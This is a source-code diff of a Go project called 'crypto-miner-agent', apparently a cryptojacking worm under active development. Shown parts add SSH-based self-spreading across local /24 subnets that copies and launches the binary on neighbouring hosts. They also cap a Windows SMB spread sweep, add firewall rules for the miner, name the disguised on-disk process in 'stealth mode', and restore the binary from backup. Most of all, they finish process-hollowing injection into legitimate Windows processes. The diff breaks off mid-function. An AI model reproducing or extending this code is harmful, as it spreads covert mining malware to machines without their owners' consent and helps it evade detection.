return fmt.Sprintf("Firewall inbound TCP %d allowed (%s)", port, name), nil
|
||||
}
|
||||
@@ -1,3 +1,5 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
@@ -37,6 +39,17 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
|
||||
log.Printf("[autospread] Lateral movement module initialized and active")
|
||||
}
|
||||
|
||||
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
|
||||
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
go spreadToLocalSubnet(cfg)
|
||||
return "lateral spread sweep started on local /24 subnets (SMB/SCM)"
|
||||
}
|
||||
|
||||
// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
|
||||
// storm on /24 sweeps (M20). Each attempt can block for several seconds on
|
||||
// SMB/sc.exe, so without a cap all 254 run concurrently.
|
||||
var spreadSem = make(chan struct{}, 16)
|
||||
|
||||
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
||||
ips := getLocalIPs()
|
||||
for _, ip := range ips {
|
||||
@@ -44,14 +57,16 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
// Sweep the /24 subnet
|
||||
for i := 1; i < 255; i++ {
|
||||
target := fmt.Sprintf("%s.%d", subnet, i)
|
||||
if target == ip {
|
||||
continue // Skip self
|
||||
continue
|
||||
}
|
||||
go attemptSpread(cfg, target)
|
||||
time.Sleep(500 * time.Millisecond) // Pace the scan to avoid massive traffic bursts
|
||||
spreadSem <- struct{}{} // acquire slot
|
||||
go func(t string) {
|
||||
defer func() { <-spreadSem }() // release slot when done
|
||||
attemptSpread(cfg, t)
|
||||
}(target)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
128
agent/deploy/autospread_unix.go
Normal file
128
agent/deploy/autospread_unix.go
Normal file
@@ -0,0 +1,128 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// StartAutoSpreader launches SSH-based lateral deployment on Unix hosts.
|
||||
func StartAutoSpreader(cfg config.RuntimeConfig) {
|
||||
if !cfg.AutoSpread {
|
||||
return
|
||||
}
|
||||
go func() {
|
||||
time.Sleep(10 * time.Minute)
|
||||
ticker := time.NewTicker(4 * time.Hour)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
spreadUnixSubnet(cfg)
|
||||
<-ticker.C
|
||||
}
|
||||
}()
|
||||
log.Printf("[autospread] Unix SSH spread module active")
|
||||
}
|
||||
|
||||
// RunSpreadOnce triggers an immediate SSH sweep (non-blocking).
|
||||
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
go spreadUnixSubnet(cfg)
|
||||
return "unix lateral spread sweep started (SSH :22)"
|
||||
}
|
||||
|
||||
// spreadSem limits concurrent SSH spread goroutines to 16 (M20)
|
||||
var spreadSem = make(chan struct{}, 16)
|
||||
|
||||
func spreadUnixSubnet(cfg config.RuntimeConfig) {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
ips := getLocalIPs()
|
||||
for _, ip := range ips {
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
for i := 1; i < 255; i++ {
|
||||
target := fmt.Sprintf("%s.%d", subnet, i)
|
||||
if target == ip {
|
||||
continue
|
||||
}
|
||||
spreadSem <- struct{}{} // acquire slot
|
||||
go func(t string) {
|
||||
defer func() { <-spreadSem }()
|
||||
attemptSSHSpread(cfg, t, exePath)
|
||||
}(target)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
|
||||
conn, err := net.DialTimeout("tcp", target+":22", 2*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
conn.Close()
|
||||
|
||||
remoteName := sanitizeName(cfg.WorkerName) + "-sync"
|
||||
remotePath := filepath.ToSlash(filepath.Join("/tmp", remoteName))
|
||||
scp := exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath)
|
||||
if err := scp.Run(); err != nil {
|
||||
user := os.Getenv("USER")
|
||||
if user == "" {
|
||||
user = "ubuntu"
|
||||
}
|
||||
scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
|
||||
if err := scp.Run(); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
start := exec.Command("ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
|
||||
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
|
||||
if err := start.Run(); err == nil {
|
||||
log.Printf("[autospread] deployed to %s via SSH", target)
|
||||
}
|
||||
}
|
||||
|
||||
func getLocalIPs() []string {
|
||||
var ips []string
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return ips
|
||||
}
|
||||
for _, i := range ifaces {
|
||||
if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
|
||||
continue
|
||||
}
|
||||
addrs, err := i.Addrs()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, a := range addrs {
|
||||
if ipnet, ok := a.(*net.IPNet); ok {
|
||||
if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
|
||||
ips = append(ips, ip4.String())
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return ips
|
||||
}
|
||||
|
||||
func getSubnet(ip string) string {
|
||||
parts := strings.Split(ip, ".")
|
||||
if len(parts) != 4 {
|
||||
return ""
|
||||
}
|
||||
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
|
||||
}
|
||||
195
agent/deploy/common.go
Normal file
195
agent/deploy/common.go
Normal file
@@ -0,0 +1,195 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const (
|
||||
runFlag = "--run"
|
||||
spreadFlag = "--spread-install"
|
||||
backupSuffix = ".bak"
|
||||
)
|
||||
|
||||
// BinaryExt returns the executable suffix for the current OS.
|
||||
func BinaryExt() string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return ".exe"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// BinaryName returns the forged process filename on disk.
|
||||
func BinaryName(cfg config.RuntimeConfig) string {
|
||||
return cfg.EffectiveProcessName() + BinaryExt()
|
||||
}
|
||||
|
||||
// InstalledBinaryPath is the full path to the installed worker binary.
|
||||
func InstalledBinaryPath(cfg config.RuntimeConfig) (string, error) {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(dir, BinaryName(cfg)), nil
|
||||
}
|
||||
|
||||
func PersistenceKeyName(cfg config.RuntimeConfig) string {
|
||||
if cfg.StealthMode {
|
||||
return cfg.EffectiveProcessName()
|
||||
}
|
||||
name := sanitizeName(cfg.WorkerName)
|
||||
if name == "" {
|
||||
return cfg.EffectiveProcessName()
|
||||
}
|
||||
return "CryptoMiner-" + name
|
||||
}
|
||||
|
||||
func sanitizeName(name string) string {
|
||||
replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
|
||||
return replacer.Replace(strings.TrimSpace(name))
|
||||
}
|
||||
|
||||
func samePath(a, b string) bool {
|
||||
a = filepath.Clean(a)
|
||||
b = filepath.Clean(b)
|
||||
if runtime.GOOS == "windows" {
|
||||
if strings.EqualFold(a, b) {
|
||||
return true
|
||||
}
|
||||
} else if a == b {
|
||||
return true
|
||||
}
|
||||
aAbs, errA := filepath.Abs(a)
|
||||
bAbs, errB := filepath.Abs(b)
|
||||
if errA != nil || errB != nil {
|
||||
return false
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
return strings.EqualFold(aAbs, bAbs)
|
||||
}
|
||||
return aAbs == bAbs
|
||||
}
|
||||
|
||||
func copyFile(src, dest string) error {
|
||||
in, err := os.Open(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer in.Close()
|
||||
|
||||
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
|
||||
_, err = io.Copy(out, in)
|
||||
return err
|
||||
}
|
||||
|
||||
func relaunch(exePath, logPath string) error {
|
||||
cmd := exec.Command(exePath, runFlag)
|
||||
cmd.Dir = filepath.Dir(exePath)
|
||||
if logPath != "" {
|
||||
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
||||
}
|
||||
applyDetachedStart(cmd)
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err == nil {
|
||||
return dir, nil
|
||||
}
|
||||
|
||||
fallbacks := installBaseFallbacks(cfg)
|
||||
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
|
||||
for _, base := range fallbacks {
|
||||
if seen[base] {
|
||||
continue
|
||||
}
|
||||
seen[base] = true
|
||||
try := cfg
|
||||
try.InstallBase = base
|
||||
dir, tryErr := try.InstallDirectory()
|
||||
if tryErr == nil {
|
||||
return dir, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
func installBaseFallbacks(cfg config.RuntimeConfig) []string {
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
return []string{"localappdata", "appdata", "temp"}
|
||||
case "darwin":
|
||||
return []string{"home", "xdg_data_home", "tmp"}
|
||||
default:
|
||||
return []string{"xdg_data_home", "home", "tmp"}
|
||||
}
|
||||
}
|
||||
|
||||
func InstallDir(workerName, buildID string) (string, error) {
|
||||
base := "localappdata"
|
||||
if runtime.GOOS != "windows" {
|
||||
base = "xdg_data_home"
|
||||
}
|
||||
return config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: workerName,
|
||||
BuildID: buildID,
|
||||
InstallBase: base,
|
||||
InstallRelativePath: config.DefaultInstallRelativePath,
|
||||
},
|
||||
}.InstallDirectory()
|
||||
}
|
||||
|
||||
func saveBackup(installedBin string) error {
|
||||
backup := installedBin + backupSuffix
|
||||
if _, err := os.Stat(backup); err == nil {
|
||||
return nil
|
||||
}
|
||||
return copyFile(installedBin, backup)
|
||||
}
|
||||
|
||||
// WantsSpreadInstall reports --spread-install CLI flag.
|
||||
func WantsSpreadInstall() bool {
|
||||
return wantsSpreadInstall()
|
||||
}
|
||||
|
||||
func wantsSpreadInstall() bool {
|
||||
for _, arg := range os.Args[1:] {
|
||||
if arg == spreadFlag {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func isRunMode() bool {
|
||||
for _, arg := range os.Args[1:] {
|
||||
if arg == runFlag {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func writeInstalledMarker(cfg config.RuntimeConfig, installDir, installedBin, agentID string) {
|
||||
if cfg.StealthMode {
|
||||
return
|
||||
}
|
||||
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
||||
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\nplatform=%s\narch=%s\ninstall_dir=%s\ninstalled_bin=%s\n",
|
||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, runtime.GOOS, runtime.GOARCH, installDir, installedBin,
|
||||
)), 0644)
|
||||
}
|
||||
18
agent/deploy/firewall_darwin.go
Normal file
18
agent/deploy/firewall_darwin.go
Normal file
@@ -0,0 +1,18 @@
|
||||
//go:build darwin
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"log"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
|
||||
log.Printf("[firewall] macOS app firewall is coarse; worker path registered: %s", binPath)
|
||||
_ = cfg
|
||||
}
|
||||
|
||||
func platformRemoveFirewall(cfg config.RuntimeConfig) {
|
||||
_ = cfg
|
||||
}
|
||||
36
agent/deploy/firewall_linux.go
Normal file
36
agent/deploy/firewall_linux.go
Normal file
@@ -0,0 +1,36 @@
|
||||
//go:build linux
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
|
||||
if strings.TrimSpace(binPath) == "" {
|
||||
return
|
||||
}
|
||||
port := 8989
|
||||
script := fmt.Sprintf(`
|
||||
if command -v ufw >/dev/null 2>&1; then
|
||||
ufw allow out to any port %d comment 'AetherForge' 2>/dev/null || true
|
||||
fi
|
||||
`, port)
|
||||
cmd := exec.Command("/bin/sh", "-c", script)
|
||||
if err := cmd.Run(); err != nil {
|
||||
log.Printf("[firewall] ufw rule failed: %v", err)
|
||||
return
|
||||
}
|
||||
log.Printf("[firewall] linux firewall rule attempted for %s", binPath)
|
||||
_ = strconv.Itoa(port)
|
||||
}
|
||||
|
||||
func platformRemoveFirewall(cfg config.RuntimeConfig) {
|
||||
_ = cfg
|
||||
}
|
||||
15
agent/deploy/firewall_platform_windows.go
Normal file
15
agent/deploy/firewall_platform_windows.go
Normal file
@@ -0,0 +1,15 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
|
||||
EnsureFirewallExclusionWindows(cfg, binPath)
|
||||
}
|
||||
|
||||
func platformRemoveFirewall(cfg config.RuntimeConfig) {
|
||||
RemoveFirewallExclusionWindows(cfg)
|
||||
}
|
||||
14
agent/deploy/firewall_stub.go
Normal file
14
agent/deploy/firewall_stub.go
Normal file
@@ -0,0 +1,14 @@
|
||||
//go:build !windows && !linux && !darwin
|
||||
|
||||
package deploy
|
||||
|
||||
import "crypto-miner-agent/config"
|
||||
|
||||
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
|
||||
_ = cfg
|
||||
_ = binPath
|
||||
}
|
||||
|
||||
func platformRemoveFirewall(cfg config.RuntimeConfig) {
|
||||
_ = cfg
|
||||
}
|
||||
@@ -13,9 +13,8 @@ import (
|
||||
|
||||
const firewallRulePrefix = "AetherForge"
|
||||
|
||||
// EnsureFirewallExclusion registers Windows Firewall allow rules for the installed miner binary.
|
||||
// Requires administrator privileges on many systems; failures are logged and ignored.
|
||||
func EnsureFirewallExclusion(cfg config.RuntimeConfig, exePath string) {
|
||||
// EnsureFirewallExclusionWindows registers Windows Firewall allow rules for the installed miner binary.
|
||||
func EnsureFirewallExclusionWindows(cfg config.RuntimeConfig, exePath string) {
|
||||
if !cfg.FirewallExclusion {
|
||||
return
|
||||
}
|
||||
@@ -52,8 +51,8 @@ if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue))
|
||||
log.Printf("[firewall] Windows Firewall allow rules registered for %s", exePath)
|
||||
}
|
||||
|
||||
// RemoveFirewallExclusion deletes firewall rules created for this worker.
|
||||
func RemoveFirewallExclusion(cfg config.RuntimeConfig) {
|
||||
// RemoveFirewallExclusionWindows deletes firewall rules created for this worker.
|
||||
func RemoveFirewallExclusionWindows(cfg config.RuntimeConfig) {
|
||||
ruleBase := firewallRuleBaseName(cfg)
|
||||
for _, name := range []string{ruleBase + " In", ruleBase + " Out"} {
|
||||
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
|
||||
|
||||
@@ -9,8 +9,6 @@ import (
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const backupSuffix = ".bak"
|
||||
|
||||
// StartWatchdog keeps persistence and the installed binary healthy.
|
||||
func StartWatchdog(cfg config.RuntimeConfig) {
|
||||
if !cfg.SelfHealing {
|
||||
@@ -32,12 +30,12 @@ func maintainInstall(cfg config.RuntimeConfig) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
||||
backupExe := installedExe + backupSuffix
|
||||
installedBin := filepath.Join(installDir, BinaryName(cfg))
|
||||
backupBin := installedBin + backupSuffix
|
||||
|
||||
if _, err := os.Stat(installedExe); os.IsNotExist(err) {
|
||||
if _, statErr := os.Stat(backupExe); statErr == nil {
|
||||
if copyErr := copyFile(backupExe, installedExe); copyErr != nil {
|
||||
if _, err := os.Stat(installedBin); os.IsNotExist(err) {
|
||||
if _, statErr := os.Stat(backupBin); statErr == nil {
|
||||
if copyErr := copyFile(backupBin, installedBin); copyErr != nil {
|
||||
return copyErr
|
||||
}
|
||||
log.Printf("[watchdog] restored missing binary from backup")
|
||||
@@ -45,25 +43,17 @@ func maintainInstall(cfg config.RuntimeConfig) error {
|
||||
}
|
||||
|
||||
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
||||
if err := configureAutoStart(cfg, installedExe); err != nil {
|
||||
if err := configureAutoStart(cfg, installedBin); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
||||
if err := createScheduledTask(cfg, installedExe); err != nil {
|
||||
if err := configureRunMode(cfg, installedBin); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if cfg.FirewallExclusion {
|
||||
EnsureFirewallExclusion(cfg, installedExe)
|
||||
EnsureFirewallExclusion(cfg, installedBin)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func saveBackup(installedExe string) error {
|
||||
backup := installedExe + backupSuffix
|
||||
if _, err := os.Stat(backup); err == nil {
|
||||
return nil
|
||||
}
|
||||
return copyFile(installedExe, backup)
|
||||
}
|
||||
|
||||
12
agent/deploy/hollow_stub_all.go
Normal file
12
agent/deploy/hollow_stub_all.go
Normal file
@@ -0,0 +1,12 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "fmt"
|
||||
|
||||
// RunHollowed is only available on Windows with the hollow build tag.
|
||||
func RunHollowed(targetExe string, payload []byte) error {
|
||||
_ = targetExe
|
||||
_ = payload
|
||||
return fmt.Errorf("process hollowing not available on this platform")
|
||||
}
|
||||
@@ -29,20 +29,92 @@ const (
|
||||
MEM_RESERVE = 0x2000
|
||||
PAGE_EXECUTE_READWRITE = 0x40
|
||||
CONTEXT_FULL_AMD64 = 0x10000B
|
||||
|
||||
IMAGE_REL_BASED_ABSOLUTE = 0
|
||||
IMAGE_REL_BASED_DIR64 = 10
|
||||
)
|
||||
|
||||
// RunHollowed injects a byte array (PE payload) into a suspended legitimate Windows process.
|
||||
// rvaToFileOffset translates a virtual address (RVA) in the PE to its raw file offset.
|
||||
func rvaToFileOffset(payload []byte, rva, eLFANew, sizeOfOptHdr uint32) (uint32, error) {
|
||||
numSections := binary.LittleEndian.Uint16(payload[eLFANew+6:])
|
||||
sectionsBase := eLFANew + 24 + uint32(sizeOfOptHdr)
|
||||
for i := uint32(0); i < uint32(numSections); i++ {
|
||||
sec := payload[sectionsBase+i*40:]
|
||||
vAddr := binary.LittleEndian.Uint32(sec[12:])
|
||||
vSize := binary.LittleEndian.Uint32(sec[8:])
|
||||
rawOff := binary.LittleEndian.Uint32(sec[20:])
|
||||
if rva >= vAddr && rva < vAddr+vSize {
|
||||
return rawOff + (rva - vAddr), nil
|
||||
}
|
||||
}
|
||||
return 0, fmt.Errorf("RVA 0x%x not found in any section", rva)
|
||||
}
|
||||
|
||||
// applyRelocations patches absolute addresses in the payload copy when the image
|
||||
// was loaded at a different base than its preferred one. Only IMAGE_REL_BASED_DIR64
|
||||
// (type 10) entries are applied; all other types are skipped.
|
||||
func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32) {
|
||||
optHeader := payload[eLFANew+24:]
|
||||
// DataDirectory[5] is IMAGE_DIRECTORY_ENTRY_BASERELOC.
|
||||
// DataDirectory array starts at offset 112 in a PE32+ optional header.
|
||||
const dataDirOffset = 112
|
||||
if len(optHeader) < dataDirOffset+5*8+8 {
|
||||
return
|
||||
}
|
||||
relocRVA := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8:])
|
||||
relocSize := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8+4:])
|
||||
if relocRVA == 0 || relocSize == 0 {
|
||||
return // no relocation table (non-PIE binary baked for a fixed address)
|
||||
}
|
||||
|
||||
blockOff, err := rvaToFileOffset(payload, relocRVA, eLFANew, sizeOfOptHdr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
end := blockOff + relocSize
|
||||
for blockOff < end && blockOff+8 <= uint32(len(payload)) {
|
||||
pageRVA := binary.LittleEndian.Uint32(payload[blockOff:])
|
||||
blkSize := binary.LittleEndian.Uint32(payload[blockOff+4:])
|
||||
if blkSize < 8 {
|
||||
break
|
||||
}
|
||||
entryCount := (blkSize - 8) / 2
|
||||
for i := uint32(0); i < entryCount; i++ {
|
||||
entry := binary.LittleEndian.Uint16(payload[blockOff+8+i*2:])
|
||||
relType := entry >> 12
|
||||
relOff := uint32(entry & 0x0FFF)
|
||||
|
||||
if relType == IMAGE_REL_BASED_ABSOLUTE {
|
||||
continue
|
||||
}
|
||||
if relType != IMAGE_REL_BASED_DIR64 {
|
||||
continue
|
||||
}
|
||||
|
||||
patchRVA := pageRVA + relOff
|
||||
patchOff, err := rvaToFileOffset(payload, patchRVA, eLFANew, sizeOfOptHdr)
|
||||
if err != nil || int(patchOff)+8 > len(payload) {
|
||||
continue
|
||||
}
|
||||
orig := int64(binary.LittleEndian.Uint64(payload[patchOff:]))
|
||||
binary.LittleEndian.PutUint64(payload[patchOff:], uint64(orig+delta))
|
||||
}
|
||||
blockOff += blkSize
|
||||
}
|
||||
}
|
||||
|
||||
// RunHollowed injects a PE payload into a suspended legitimate Windows process.
|
||||
func RunHollowed(targetExe string, payload []byte) error {
|
||||
// Parse payload PE headers dynamically
|
||||
if len(payload) < 0x40 {
|
||||
return fmt.Errorf("payload too small")
|
||||
}
|
||||
e_lfanew := binary.LittleEndian.Uint32(payload[0x3c:])
|
||||
if int(e_lfanew)+24 > len(payload) {
|
||||
eLFANew := binary.LittleEndian.Uint32(payload[0x3c:])
|
||||
if int(eLFANew)+24 > len(payload) {
|
||||
return fmt.Errorf("invalid PE header offset")
|
||||
}
|
||||
|
||||
ntHeader := payload[e_lfanew:]
|
||||
ntHeader := payload[eLFANew:]
|
||||
if string(ntHeader[:4]) != "PE\x00\x00" {
|
||||
return fmt.Errorf("invalid PE signature")
|
||||
}
|
||||
@@ -51,7 +123,7 @@ func RunHollowed(targetExe string, payload []byte) error {
|
||||
}
|
||||
|
||||
numSections := binary.LittleEndian.Uint16(ntHeader[6:])
|
||||
sizeOfOptionalHeader := binary.LittleEndian.Uint16(ntHeader[20:])
|
||||
sizeOfOptHdr := binary.LittleEndian.Uint16(ntHeader[20:])
|
||||
optHeader := ntHeader[24:]
|
||||
if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B {
|
||||
return fmt.Errorf("payload must be PE32+")
|
||||
@@ -71,8 +143,8 @@ func RunHollowed(targetExe string, payload []byte) error {
|
||||
si.Cb = uint32(unsafe.Sizeof(*si))
|
||||
pi := new(syscall.ProcessInformation)
|
||||
|
||||
// 1. Create the target legitimate process (e.g. svchost.exe) in a suspended state
|
||||
ret, _, err := procCreateProcessW.Call(
|
||||
// 1. Spawn the target process in a suspended state.
|
||||
ret, _, lastErr := procCreateProcessW.Call(
|
||||
0,
|
||||
uintptr(unsafe.Pointer(targetPtr)),
|
||||
0, 0, 0,
|
||||
@@ -82,18 +154,13 @@ func RunHollowed(targetExe string, payload []byte) error {
|
||||
uintptr(unsafe.Pointer(pi)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("CreateProcessW failed: %v", err)
|
||||
return fmt.Errorf("CreateProcessW: %v", lastErr)
|
||||
}
|
||||
defer syscall.CloseHandle(pi.Process)
|
||||
defer syscall.CloseHandle(pi.Thread)
|
||||
|
||||
// The following maps the exact structural steps needed for PE injection.
|
||||
// Note: To make this fully functional, you need full PE offset math
|
||||
// (e.g., extracting e_lfanew, SizeOfImage, ImageBase) from the payload slice.
|
||||
|
||||
// 2. Get Thread Context to locate the Process Environment Block (PEB)
|
||||
// Allocate 16-byte aligned context buffer for x64
|
||||
ctxBytes := make([]byte, 1232+16)
|
||||
// 2. Read thread context to obtain the PEB address (Rdx on x64 initial thread).
|
||||
ctxBytes := make([]byte, 1232+16) // CONTEXT is 1232 bytes; needs 16-byte alignment
|
||||
var ctxPtr uintptr
|
||||
for i := 0; i < 16; i++ {
|
||||
if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 {
|
||||
@@ -101,73 +168,110 @@ func RunHollowed(targetExe string, payload []byte) error {
|
||||
break
|
||||
}
|
||||
}
|
||||
*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64 // ContextFlags
|
||||
*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64
|
||||
|
||||
ret, _, err = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
||||
ret, _, lastErr = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("GetThreadContext failed: %v", err)
|
||||
return fmt.Errorf("GetThreadContext: %v", lastErr)
|
||||
}
|
||||
|
||||
rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx holds PEB address on x64
|
||||
rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx = PEB pointer at thread start
|
||||
|
||||
// 3. Read the PEB to find the original ImageBase
|
||||
// 3. Read the original image base from the PEB (PEB.ImageBaseAddress is at offset +16).
|
||||
var origImageBase uint64
|
||||
var bytesRW uintptr
|
||||
procReadProcessMemory.Call(
|
||||
uintptr(pi.Process),
|
||||
uintptr(rdx+16), // PEB.ImageBaseAddress
|
||||
uintptr(rdx+16),
|
||||
uintptr(unsafe.Pointer(&origImageBase)),
|
||||
8,
|
||||
uintptr(unsafe.Pointer(&bytesRW)),
|
||||
)
|
||||
|
||||
// 4. Unmap the original executable code from memory
|
||||
// 4. Unmap the original image.
|
||||
if origImageBase != 0 {
|
||||
procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase))
|
||||
}
|
||||
|
||||
// 5. Allocate new memory for our payload at the required ImageBase
|
||||
newMem, _, _ := procVirtualAllocEx.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
||||
// 5. Allocate memory for the payload. Try preferred base first; fall back to ASLR.
|
||||
newMem, _, _ := procVirtualAllocEx.Call(
|
||||
uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage),
|
||||
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
|
||||
)
|
||||
needsReloc := false
|
||||
if newMem == 0 {
|
||||
// Fallback allocation if preferred base is taken (Payload must support relocation)
|
||||
newMem, _, err = procVirtualAllocEx.Call(uintptr(pi.Process), 0, uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
||||
newMem, _, lastErr = procVirtualAllocEx.Call(
|
||||
uintptr(pi.Process), 0, uintptr(sizeOfImage),
|
||||
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
|
||||
)
|
||||
if newMem == 0 {
|
||||
return fmt.Errorf("VirtualAllocEx failed: %v", err)
|
||||
return fmt.Errorf("VirtualAllocEx: %v", lastErr)
|
||||
}
|
||||
needsReloc = true
|
||||
}
|
||||
|
||||
// 6. Write the PE headers and each PE section into the new memory allocation
|
||||
procWriteProcessMemory.Call(uintptr(pi.Process), newMem, uintptr(unsafe.Pointer(&payload[0])), uintptr(sizeOfHeaders), uintptr(unsafe.Pointer(&bytesRW)))
|
||||
// 6. If we landed at a different base, patch absolute addresses in a local copy
|
||||
// before writing to the remote process. Without this the payload crashes on
|
||||
// every call through its import table and global data pointers.
|
||||
patched := payload
|
||||
if needsReloc {
|
||||
delta := int64(newMem) - int64(imageBase)
|
||||
patched = make([]byte, len(payload))
|
||||
copy(patched, payload)
|
||||
applyRelocations(patched, delta, eLFANew, uint32(sizeOfOptHdr))
|
||||
}
|
||||
|
||||
sectionsStart := 24 + uint32(sizeOfOptionalHeader)
|
||||
// 7. Write PE headers and sections to the remote process.
|
||||
ret, _, lastErr = procWriteProcessMemory.Call(
|
||||
uintptr(pi.Process), newMem,
|
||||
